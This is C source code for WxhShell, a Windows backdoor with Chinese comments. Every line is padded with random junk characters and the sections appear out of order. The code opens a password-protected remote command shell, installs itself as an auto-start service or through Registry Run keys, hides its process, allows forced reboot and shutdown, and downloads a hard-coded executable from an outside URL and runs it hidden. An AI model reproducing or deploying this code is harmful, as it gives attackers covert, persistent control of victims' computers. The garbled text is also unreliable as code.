    send(wsh,msg_ws_err,strlen(msg_ws_err),0); StWDNAf)  
    else { %4cUa| =?  
    closesocket(wsh); )$yqJ6y5  
    ExitThread(0); qFW- ~T  
    } ^aDos9SyV  
    break; z.eqOPW  
    } T1;yw1/m5\  
  // 获取shell ]y$D@/L@  
  case 's': { r!yrPwKL  
    CmdShell(wsh); 71cc6T  
    closesocket(wsh); ?]f+)tCMs  
    ExitThread(0); (o{-1Dg)  
    break; JGSeu =)  
  } }nYm^Yh  
  // 退出 gE JmMh  
  case 'x': { m:/@DZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "j3Yu4_ks  
    CloseIt(wsh); |Wj)kr !|  
    break; F {]:  
    } @y->4`N  
  // 离开 ExI?UGT  
  case 'q': { 3j0/&ON  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JGf6*D"O  
    closesocket(wsh); 8nQlmWpJ  
    WSACleanup(); a9"x_IVU  
    exit(1); *D F5sY  
    break; ('W#r"  
        } KU3lAjzN  
  } RX>kOp29  
  } M{zzXE[@  
S D] d/|y  
  // 提示信息 IoJkM-^H&)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Y6{89y  
} Kom$i<O?48  
  } TF|GGY i  
W!I"rdo;V  
  return; o&g=Z4jj<  
} 6<NaME  
29 u"\f a  
// shell模块句柄 $WnK  
int CmdShell(SOCKET sock) #@Zz Bf  
{ B[C2uVEX:  
STARTUPINFO si; G?e,Q$  
ZeroMemory(&si,sizeof(si)); q+dY&4&u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H]"Z_n_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s[h'W~  
PROCESS_INFORMATION ProcessInfo; -n!.PsGO>  
char cmdline[]="cmd"; I o7pp(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9fvy)kX;s  
  return 0; I5F oh|)  
} h(]O;a-  
nWbe=z&y8[  
// 自身启动模式 ~m[^|w  
int StartFromService(void) @pYAqX2  
{ )#T(2A  
typedef struct ]&yO>\MgJB  
{ Mmbb}(<  
  DWORD ExitStatus; SYB } e  
  DWORD PebBaseAddress; k  5xzC&  
  DWORD AffinityMask; 6"[`"~9'V  
  DWORD BasePriority; WUGPi'x  
  ULONG UniqueProcessId; 0fXdE ;M3  
  ULONG InheritedFromUniqueProcessId; kE,~NG9P  
}   PROCESS_BASIC_INFORMATION; qUx!-DMY  
f_9%kEXICt  
PROCNTQSIP NtQueryInformationProcess; N|z-s  
joAR;J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rgB`< [:b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KKa"Ba$g  
Bca\grA  
  HANDLE             hProcess; 9,82Uta  
  PROCESS_BASIC_INFORMATION pbi; ??aOr*%  
<QugV3e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !a ~>;+  
  if(NULL == hInst ) return 0; P00d#6hPJ  
+J]3)8 y+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a>.2Q<1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p<`q^D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,/m<=`*N|  
n+rAbn5o$  
  if (!NtQueryInformationProcess) return 0; g*b%  
%$Wt"~WE"O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '-4);:(^  
  if(!hProcess) return 0; N3MMxm_u  
bh6Mh< +  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g/mVd;#o  
Up*p*(d3  
  CloseHandle(hProcess); hrN r i$  
|M[E^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \QBODJ1  
if(hProcess==NULL) return 0; lK9us  
$[VKM|Zjw  
HMODULE hMod; I(s\ Q[  
char procName[255]; Od^y&$|_%`  
unsigned long cbNeeded; MH?|>6  
&rorBD 5aj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,@/b7BVv  
`U#*O+S-^  
  CloseHandle(hProcess); PGP9-M  
2!-ZNd:(+  
if(strstr(procName,"services")) return 1; // 以服务启动 LP7t*}PK  
C=h$8Q  
  return 0; // 注册表启动 Dsm_T1X  
} )j4]Y dJ  
%8yfF rk  
// 主模块 ?Re@`f+*  
int StartWxhshell(LPSTR lpCmdLine) vZTX3c:,1  
{ s)_7*DY  
  SOCKET wsl; ]V<[W,*(5  
BOOL val=TRUE; :7e2O!zH_  
  int port=0;  ;B^G<  
  struct sockaddr_in door; 7cK#fh"hvg  
]N:SB  
  if(wscfg.ws_autoins) Install(); /$! / F@^  
6sRn_y  
port=atoi(lpCmdLine); tt{,f1v0t  
.2C}8GGC'  
if(port<=0) port=wscfg.ws_port; Fm`hFBKW  
>E#| H6gx  
  WSADATA data; y)"aQJ>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Qa5<go{  
9 @!Og(l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LU?X|{z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3:PBVt=  
  door.sin_family = AF_INET; iJZqAfG{m?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;jfjRcU  
  door.sin_port = htons(port); 0X~   
TixH Ehw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gkI(B2,/  
closesocket(wsl); mSY;hJi  
return 1; S s@\'K3e  
}  PQa {5"  
KX"?3#U#Fm  
  if(listen(wsl,2) == INVALID_SOCKET) { t*.O >$[  
closesocket(wsl); .YYiUA-i9n  
return 1; PM=Q\0  
} yXh=~:1~  
  Wxhshell(wsl); (i.MxG Dd  
  WSACleanup(); ]N*q3y|)  
]\v'1m"  
return 0; TF} <,aR  
rG:IS=  
} (Vf&,b@U_  
T8GxoNm  
// 以NT服务方式启动 c;xL.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d}EGI  
{ z;zy k  
DWORD   status = 0; sw[1T_S>  
  DWORD   specificError = 0xfffffff; L oe!@c  
o*_[3{FU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^ W eE%"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; al F*L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GLB7h 9>  
  serviceStatus.dwWin32ExitCode     = 0; 9jDV]!N4  
  serviceStatus.dwServiceSpecificExitCode = 0; +6B(LPxgP  
  serviceStatus.dwCheckPoint       = 0; \tye:!a?;@  
  serviceStatus.dwWaitHint       = 0; I?G m  
H~i+: X=I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8v8?D8\=|  
  if (hServiceStatusHandle==0) return; 5,:>.LRA  
YjdCCju  
status = GetLastError(); b*',(J94  
  if (status!=NO_ERROR) RgHPYf{  
{ 9.m_3"s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S:v]3G  
    serviceStatus.dwCheckPoint       = 0; )TP 1i  
    serviceStatus.dwWaitHint       = 0; 7m~+HM\  
    serviceStatus.dwWin32ExitCode     = status; (x@|6Sb  
    serviceStatus.dwServiceSpecificExitCode = specificError; o|>2X[T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 94=Wy-  
    return; f>s3Q\+  
  } !e?=I  
"A~\$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; awB1ryrOF  
  serviceStatus.dwCheckPoint       = 0; 4'Z=T\:  
  serviceStatus.dwWaitHint       = 0; DxdiXf[j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j5Vyo>  
} :7K cD\fCj  
\zR@FOl`q  
// 处理NT服务事件,比如:启动、停止 q{ItTvL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {CG%$rh  
{ O]DZb+O"  
switch(fdwControl) Zgkk%3'^'  
{ M/x49qO#  
case SERVICE_CONTROL_STOP: cgNK67"(  
  serviceStatus.dwWin32ExitCode = 0; v(W$\XH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JfxD-9U^>u  
  serviceStatus.dwCheckPoint   = 0; Jt\?,~,  
  serviceStatus.dwWaitHint     = 0; 3BAls+<p o  
  { q!\K!W\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \rn:/  
  } s$4!?b$tw  
  return; TppR \[4]  
case SERVICE_CONTROL_PAUSE: {" woBOaA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (n;#Z,  
  break; jAB~XaT,  
case SERVICE_CONTROL_CONTINUE: o9(:m   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '`p#%I@  
  break; _Jx.?8  
case SERVICE_CONTROL_INTERROGATE: T?4MFx#  
  break; $ jWe!]ASU  
}; 8)\Td tBf9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *v 1hMk  
} u27K 0}  
+)k%jIi!  
// 标准应用程序主函数 =e=sK'NvD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3.Z}2F]  
{ @d:TAwOI'  
FloCR=^H  
// 获取操作系统版本 z$ZG`v>0  
OsIsNt=GetOsVer(); ~2+J]8@I]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l tE`  
JWoNP/v6  
  // 从命令行安装 bW\OKI1  
  if(strpbrk(lpCmdLine,"iI")) Install(); (S$ziV  
ghq[oK  
  // 下载执行文件 N_(qMW  
if(wscfg.ws_downexe) { Au<NUc 2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u&z5)iU  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3B8\r}L  
} s_S[iW`l=  
Vr@I9W;D#  
if(!OsIsNt) { \B/ +.\  
// 如果时win9x,隐藏进程并且设置为注册表启动 VRQ'sn@  
HideProc(); [0<N[KZ)  
StartWxhshell(lpCmdLine); T}d% XMXq  
} %$}aWzQxll  
else A:Pp;9wl  
  if(StartFromService()) #\3(rzQVO  
  // 以服务方式启动 EVZuwbO)|  
  StartServiceCtrlDispatcher(DispatchTable); &o%IKB@  
else j;6kN-jx  
  // 普通方式启动 21Mr2-#z  
  StartWxhshell(lpCmdLine); *WdnP.'Y  
C +S  
return 0; FC[8kq>Hk  
} `1k0wT(  
d+[GMIxg  
MWTzJGRT  
= i9|lU"Va  
=========================================== BQ! v\1'C  
P7np -I*  
x8 :  
@c,Qj$\1  
fGS5{dti  
&v9*D`7L  
" 5q4sxY9T  
WX<),u2@  
#include <stdio.h> :j feY  
#include <string.h> _]zm02|  
#include <windows.h> z0|%h?N  
#include <winsock2.h> _=l8e-6r  
#include <winsvc.h> 3"afrA  
#include <urlmon.h> d h5%  
/`$9H|  
#pragma comment (lib, "Ws2_32.lib") q$IgkL  
#pragma comment (lib, "urlmon.lib") 1@" L  
:+Ti^FF`w  
#define MAX_USER   100 // 最大客户端连接数 R8ZI}C1  
#define BUF_SOCK   200 // sock buffer En-BT0o  
#define KEY_BUFF   255 // 输入 buffer (Klvctoy  
=, kH(rp2  
#define REBOOT     0   // 重启 >wx1M1  
#define SHUTDOWN   1   // 关机 f4{O~?=  
<E/"v  
#define DEF_PORT   5000 // 监听端口 wP:ab  
,F^Rz.  
#define REG_LEN     16   // 注册表键长度 'KL!)}B$h  
#define SVC_LEN     80   // NT服务名长度 ROH 2KSt  
vhsHyb  
// 从dll定义API ]1YyP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fbv%&z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ k&(D*u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o+-G@ 16  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nr6[w|Tzd  
oY Y?`<N#  
// wxhshell配置信息 fu 0]BdM  
struct WSCFG { !.\-l2f  
  int ws_port;         // 监听端口 {jVEstP  
  char ws_passstr[REG_LEN]; // 口令 j\SvfZ0"  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y9^;TQ+#  
  char ws_regname[REG_LEN]; // 注册表键名 xn1=@0 a  
  char ws_svcname[REG_LEN]; // 服务名 ZDffR: An  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Km/#\$|}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8":O\^i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _pZ2^OO@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gxa@da  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2o5Pbdel  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~# ~XDcc  
ftr?@^  
}; d9bc>5%-F  
{ [S@+  
// default Wxhshell configuration cHr.7 w  
struct WSCFG wscfg={DEF_PORT, uPZ<hG#K  
    "xuhuanlingzhe", 78o>UWA:  
    1, GJLe733o  
    "Wxhshell", `)Z+]5:  
    "Wxhshell", <Wz+f+HC  
            "WxhShell Service", )2lzPK t  
    "Wrsky Windows CmdShell Service", .|d2s  
    "Please Input Your Password: ", Fqr}zR)  
  1,  v7Q=  
  "http://www.wrsky.com/wxhshell.exe", 6xfG`7Az  
  "Wxhshell.exe" "V7 SB   
    }; s01W_P.@R  
U`25bb1W j  
// 消息定义模块 H6fR6Kr4j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XMJEIG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sD_"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OsSGVk #Qh  
char *msg_ws_ext="\n\rExit."; 4I %/}+Q  
char *msg_ws_end="\n\rQuit."; I[td:9+hK@  
char *msg_ws_boot="\n\rReboot..."; ICbT{Mla  
char *msg_ws_poff="\n\rShutdown..."; ]Sl]G6#Iwv  
char *msg_ws_down="\n\rSave to "; IJnh@?BC  
+xGz~~iNh  
char *msg_ws_err="\n\rErr!"; }iu(-{Z  
char *msg_ws_ok="\n\rOK!"; 97XGJ1HI  
Td|x~mZv:  
char ExeFile[MAX_PATH]; 3B+ F'k&#  
int nUser = 0; Tw)"#Y!T  
HANDLE handles[MAX_USER]; /d/Quro  
int OsIsNt; #" 3az8u  
C{"uz_Gh  
SERVICE_STATUS       serviceStatus; ?:8wDV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "M`ehgCBr  
c <T'_93  
// 函数声明 VlLc[eVV  
int Install(void); !"dn!X  
int Uninstall(void); 9[L@*7A`m  
int DownloadFile(char *sURL, SOCKET wsh); <kY ||  
int Boot(int flag); ]t'bd <O  
void HideProc(void); Y$L>tFA  
int GetOsVer(void); @1p ,  
int Wxhshell(SOCKET wsl); ,vN0Jpf}\8  
void TalkWithClient(void *cs); i*q!|^M  
int CmdShell(SOCKET sock); c2$&pZ M  
int StartFromService(void); q%^vx%aL\  
int StartWxhshell(LPSTR lpCmdLine); MZ/PXY  
`U~Y{f_!H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tWo MUp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "q'9-lk  
 `LWZ!Q  
// 数据结构和表定义 xUG:x4Gz+  
SERVICE_TABLE_ENTRY DispatchTable[] = TAXl73j_CY  
{ ~582'-=+  
{wscfg.ws_svcname, NTServiceMain}, pPezy:  
{NULL, NULL} l}Fa-9_'  
}; m4@f&6x  
p| #gn<z}  
// 自我安装 O8J:Tw}M*  
int Install(void) UdSu:V|  
{ C}~/(;1V=  
  char svExeFile[MAX_PATH]; Rlq6I?S+  
  HKEY key; lQ}e"#<  
  strcpy(svExeFile,ExeFile); _:tclBc8R  
c= -2c&=&  
// 如果是win9x系统,修改注册表设为自启动 =XT'D@q~W  
if(!OsIsNt) { wu2AhMGmw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h/CF^0m"!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $_.m<  
  RegCloseKey(key); CCX!>k]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )kE(%q:*P$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #=MQE  
  RegCloseKey(key); h0N*hx   
  return 0; jJ' LM>e  
    } ,0~/ Cn  
  } M~G1ZB  
} SwDUg}M~  
else { Nr#Y]9nA  
`tCOe  
// 如果是NT以上系统,安装为系统服务 ? }k~>. \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7 -(LWH  
if (schSCManager!=0) }UzO_&Z#6  
{ <IF\;,.c  
  SC_HANDLE schService = CreateService jZ'y_  
  ( MI!JZI$z5  
  schSCManager, FZ)Y<r8|s  
  wscfg.ws_svcname, 7{vnhl(Z  
  wscfg.ws_svcdisp, ~YuRi#CTD:  
  SERVICE_ALL_ACCESS, C+WHg-l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ; md{T'  
  SERVICE_AUTO_START, 9u'hCi(  
  SERVICE_ERROR_NORMAL, 3,K*r"=  
  svExeFile, IXSCYqoK  
  NULL, GMw|@?:{  
  NULL, J-W, ^%  
  NULL, P80z@!  
  NULL, n},~2  
  NULL [xXml On!  
  ); 6g ,U+~  
  if (schService!=0) $Xlyc.8YId  
  { ,{C(<1  
  CloseServiceHandle(schService); GXEOgf#i  
  CloseServiceHandle(schSCManager); /WDz;,X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cZRLYOC  
  strcat(svExeFile,wscfg.ws_svcname); Y[Gw<1F_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RRD\V3C84  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^"w.v' sL  
  RegCloseKey(key); ;z9(  
  return 0; n7vLw7  
    } /D[GXX  
  } 7p?6j)rj  
  CloseServiceHandle(schSCManager); J3sO%4sYR  
} k3m|I*_\L  
} ;+-$=l3[a  
Q#@gOn=W\  
return 1; O=1uF  
} c;w~-7Q*|  
JH~ve  
// 自我卸载 o8P 5C4y  
int Uninstall(void) hfY Ieb#91  
{ ? OBe!NDf  
  HKEY key; Rk PY@>  
s0Ii;7fA{  
if(!OsIsNt) { &)vX7*j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (8s]2\/Ar  
  RegDeleteValue(key,wscfg.ws_regname); r\Wp\LfY&{  
  RegCloseKey(key); I`44}oJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XM/P2=;  
  RegDeleteValue(key,wscfg.ws_regname); +a&-'`7g  
  RegCloseKey(key); h^P>pI~  
  return 0; g<s[6yA  
  } *@Z/L26s;=  
} `4cs.ab  
} r'hr 'wZ  
else { z[Kxy1,  
`h M:U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'f`~"@  
if (schSCManager!=0) O.=~/!(  
{ {6<7M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h<*l=`#  
  if (schService!=0) Z*kGWL  
  { VEd#LSh  
  if(DeleteService(schService)!=0) { O0"i>}g4  
  CloseServiceHandle(schService); Do(7LidC5  
  CloseServiceHandle(schSCManager); qy@gW@IU  
  return 0;   [E(DGt  
  } -p>KFHj6  
  CloseServiceHandle(schService); ewgcpV|spn  
  } )J_!ZpMC  
  CloseServiceHandle(schSCManager); rsf A.o  
} K0]'v>AWr  
} OgrUP  
;T6^cS{Gj  
return 1; v,RLN`CID  
} 2 c'=^0:  
@yaBtZUp3  
// 从指定url下载文件 +byw*Kk  
int DownloadFile(char *sURL, SOCKET wsh) !23W=N}82  
{ }i/&m&VU  
  HRESULT hr; F|V_i C+  
char seps[]= "/"; Ul[>LKFY  
char *token; p;j$i6YJ  
char *file; 0|{U"\  
char myURL[MAX_PATH]; 6mEW*qp2F  
char myFILE[MAX_PATH]; `q eL$`  
W.\HfJ74  
strcpy(myURL,sURL); i#1T68y}  
  token=strtok(myURL,seps); Qd!;CoOmZs  
  while(token!=NULL) 44?5]C7  
  { $X9Ban]  
    file=token; (k M\R|  
  token=strtok(NULL,seps); Xr M[8a  
  } KLq u[{y.'  
C3 0b}2  
GetCurrentDirectory(MAX_PATH,myFILE); iTD}gC  
strcat(myFILE, "\\"); P1 (8foZA  
strcat(myFILE, file); D +)6#i Y  
  send(wsh,myFILE,strlen(myFILE),0); S:vv*5  
send(wsh,"...",3,0); {H $\,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dqUhp_f2qK  
  if(hr==S_OK) F4 Ft~:a  
return 0; ^V_acAuS^  
else V{Idj\~Jh  
return 1; KN~E9oGs  
1elcP`N1  
} ]qXHalHY  
FTCp3g  
// 系统电源模块 -ihF)^"a  
int Boot(int flag) Lj(hk @  
{ )dF(5,y)  
  HANDLE hToken; A>>@&c:(  
  TOKEN_PRIVILEGES tkp; P>pkLP} Vo  
R_vZh|  
  if(OsIsNt) { ) 0AE*S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'xStA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7!oqn'#>A  
    tkp.PrivilegeCount = 1; =oT@h 9VI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U]hQ#a+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9aZ3W<N`M  
if(flag==REBOOT) { kc8GnKM&mc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q(k$HP  
  return 0; wc bs-arH  
} /GM-#q a  
else { 2y_rsu\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J~gfMp.  
  return 0; f`A  
} T,7Y7MzF  
  } lu(G3T8  
  else { (P`{0^O"}  
if(flag==REBOOT) { 8ZG'?A+{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #4na>G|  
  return 0; tsfOPth$*  
} |,sUD/rt  
else { J@Zm8r<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ).oqlA!  
  return 0; =#Vdz=.  
} d*A>P  
} *$# r%  
9d[0i#`:q  
return 1; Bf'jXM{-  
} }%k"qW<Y  
<u2*(BM4  
// win9x进程隐藏模块 n#J$=@  
void HideProc(void) ]; ^OY\,  
{ #(aROTV5a  
p6Z]oL q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i $I|JJJ  
  if ( hKernel != NULL ) M5ZWcD.1  
  { q`$QroZT"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j~Gu;%tq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w,}}mC)\*  
    FreeLibrary(hKernel); lmmyDg1R  
  } [7I|8  
)&dhE^ O  
return; d}l^yln  
} cC}s5`  
C4 Wdt  
// 获取操作系统版本 3Vw%[+lY9  
int GetOsVer(void) J1R%w{  
{ &-b=gnT   
  OSVERSIONINFO winfo; -|)[s[T~m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (6h7'r $  
  GetVersionEx(&winfo); JyB>,t)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q.y KbO<[  
  return 1; 2OT6*+D  
  else akCl05YW  
  return 0; M;iaNL(  
} *|E@ 81s#  
[qZ4+xF,,  
// 客户端句柄模块 HqF8:z?v  
int Wxhshell(SOCKET wsl) vQ_B2#U:  
{ ~36c0 =  
  SOCKET wsh; *(>$4$9n  
  struct sockaddr_in client; ]oya<C6pR  
  DWORD myID; @nc!(P7_  
\ 3LD^[qi  
  while(nUser<MAX_USER) q yJpm{  
{ +z[!]^H]4  
  int nSize=sizeof(client); .<NXk"\!y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w`7l ;7[  
  if(wsh==INVALID_SOCKET) return 1; c=b\9!hr_E  
^_=0.:QaW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GUp51*#XR  
if(handles[nUser]==0) "mH^Owai  
  closesocket(wsh); ^@19cU?q  
else =OHDp7GXO>  
  nUser++; d.} rn"(z  
  } 8U(a&G6gn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  C|lMXp\*  
unX^MPpw  
  return 0; }jk^M|Z"Oz  
} >{??/fBd-  
{(q U n  
// 关闭 socket Bhs`Y/Ls-  
void CloseIt(SOCKET wsh) )?xt=9Lh  
{ F"F(s!  
closesocket(wsh); /Z@.;M  
nUser--; <Q kfvK]Q  
ExitThread(0); #-f^;=7  
} 5-3gsy/Mo  
^7''x,I  
// 客户端请求句柄 .XE]vo  
void TalkWithClient(void *cs) ?#[K&$}  
{ l2v}PALs  
K5ph x  
  SOCKET wsh=(SOCKET)cs; '9[_ w$~(  
  char pwd[SVC_LEN];  y]+A7|  
  char cmd[KEY_BUFF]; GbE3 :;JI  
char chr[1]; vOj$-A--qU  
int i,j; d{trO;%#f  
LtU+w*Gj  
  while (nUser < MAX_USER) { wS^-o  
v6n(<0:  
if(wscfg.ws_passstr) { DVS7N_cx2o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ri^yal<'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n$?oZ *;  
  //ZeroMemory(pwd,KEY_BUFF); }rQ*!2Y?  
      i=0; i :$g1  
  while(i<SVC_LEN) { .) GVb<w  
>mV""?r]  
  // 设置超时 SeTU`WLEm  
  fd_set FdRead; y5ExEXa  
  struct timeval TimeOut; <?g{Rn  
  FD_ZERO(&FdRead); Rq9gtx8,=  
  FD_SET(wsh,&FdRead); Y5opZ G  
  TimeOut.tv_sec=8; <@=NDUI3*,  
  TimeOut.tv_usec=0; C;ye%&g>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W9D)QIqbvW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p~b$+8#+  
w '"7~uN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3OZ}&[3  
  pwd=chr[0]; 2uHp%fv;  
  if(chr[0]==0xd || chr[0]==0xa) { fI|1@e1  
  pwd=0; ?c+;  
  break; CMr`n8M  
  } B::?  
  i++; "osYw\unI  
    } dWUu3  
Uoe?5Of(*  
  // 如果是非法用户,关闭 socket A^7!+1*K+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b1OB'P8  
} DNy)\+[  
 ?.s*)n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nr^p H.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vKt_z@{{L  
)/JC.d#  
while(1) { a=O!\J  
6p@ts`#  
  ZeroMemory(cmd,KEY_BUFF); %xRS9A 4  
@RP|?Xc{?  
      // 自动支持客户端 telnet标准   J\*d4I<(Rt  
  j=0; |H4'*NP"  
  while(j<KEY_BUFF) { }VGiT~2$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uww^Sq  
  cmd[j]=chr[0]; ;gyE5n-{  
  if(chr[0]==0xa || chr[0]==0xd) { 34=0.{qn  
  cmd[j]=0; D4|_?O3 |m  
  break; WKf~K4BL>  
  } Q'VS]n  
  j++; 8\9EDgT  
    } 7,zARWB!?  
4Rn i7qH  
  // 下载文件 }NXESZYoi  
  if(strstr(cmd,"http://")) { vn<S"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cjXwOk1:s  
  if(DownloadFile(cmd,wsh)) y ^\8x^Eg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UQ)}i7v  
  else hA8 zXk/'8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SD&[K 8-i2  
  } {E/TC%  
  else { 'gGB-=yvbO  
bv/b<N@4?$  
    switch(cmd[0]) { wO#+8js  
  KB = z{g  
